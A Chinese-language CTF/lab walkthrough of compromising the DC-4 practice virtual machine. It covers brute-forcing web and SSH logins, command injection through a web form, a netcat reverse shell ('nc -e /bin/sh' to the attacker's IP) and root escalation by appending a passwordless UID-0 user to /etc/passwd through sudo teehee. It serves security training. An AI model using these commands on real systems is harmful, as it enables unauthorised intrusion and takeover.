渗透DC-4靶机实战笔记
试验环境:
靶机环境:DC-4
攻击机:kali
扫描同网段存活主机、开放端口,寻找突破点;
存活主机IP地址是192.168.11.140
扫描其主机信息和开放端口号,开放了22号端口可以考虑爆破。
也开放80号端口,web服务器是nginx1.15
访问是这样的,大概知道渗透这个靶机是考验我们的爆破技术了吧,这里习惯性的先尝试了一下弱口令不成功,这里我准备在虚拟机使用hydra对ssh进行爆破,我的物理机用burp suite对网站进行爆破看谁快一点;
但是后来我觉得burpsuite可能性大一点,这里知道用户名是admin
抓包发送到intruder模块,拿出我的常用字典进行爆破;
发现happy的返回的长度不一致,然后用密码试着登录一下看是否能成功;
果然登录进去了
点进去发现可以执行一些命令,第一个执行ls -l ,我们再来抓包看看:
发现是可以修改参数执行其他命令的,那我们先查看当前路径试试:
执行成功,既然这里可以执行命令那就相当于拿到一个普通用户的权限,可以shell反弹到我们的kali机上。
原本我想直接反弹shell拿到一个bash的交互环境,但是这里有个&在这里不好使,所以就先反弹一个shell:
kali上监听7777端口,抓包修改命令为:
nc -e /bin/sh 192.168.11.129 7777
反弹成功出现如下界面:
进入之后喜欢随便逛逛发现了ssh的配置文件,好像可以改为免密登录但是还是要先知道登陆用户名,对ssh的配置不熟悉,等下可以试试看(事实上等下我就懒得看了)
下面使用python方法拿一个bash:
python -c 'import pty;pty.spawn("/bin/sh")'
然后就找啊找发现home目录下jim目录下有个备份文件(.bak)
将密码复制在本地生成一个密码本
然后本地利用hydra爆破ssh,说实话是真心慢呀;
(是不是就应该设置默认线程)
最后还是跑出来了,这里密码是jibril04,然后使用远程登录
登录成功并获得jim用户的权限,查看目录下mbox是什么,发现是一封测试邮件;
进入/var/mail目录下查看jim
得到Charles用户的密码,接下来肯定是要登录这个账号了;
用户名:charles 密码:^xHhA&hvim0y
然后应该就要进行提权了,在刷前三个靶机的时候学到的几种姿势这里好像用不上,比如内核提权和SUID提权,并没有含有SUID权限的文件,这里就会接触sudo提权啦
登录之后查看sudo的权限
sudo -l
也就是查看这个用户有哪些具有root权限的命令;
发现teehee命令可以使用,teehee --help看看有些应该怎么用
发现这个命令有追加文件的功能,那怎么通过追加文件的功能得到root权限呢,想到了/etc/passwd可以追加一个用户
或者通过teehee的sudo提升权限以 root身份写入crontab计划任务通过执行获取root权限两种方法都可以;
后者也算是定时任务的提权类型吧;
这里我就是做的第一种提权方式,然后通过管道符使teehee执行命令
追加的内容共有七个字段,要符合格式不然还是得不到root权限
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
这里将无密码用户admin写入到/etc/passwd文件
然后切换登录admin即可拿到flag
总结
就是利用爆破和Sudo提权,以及一双善于发现线索的眼睛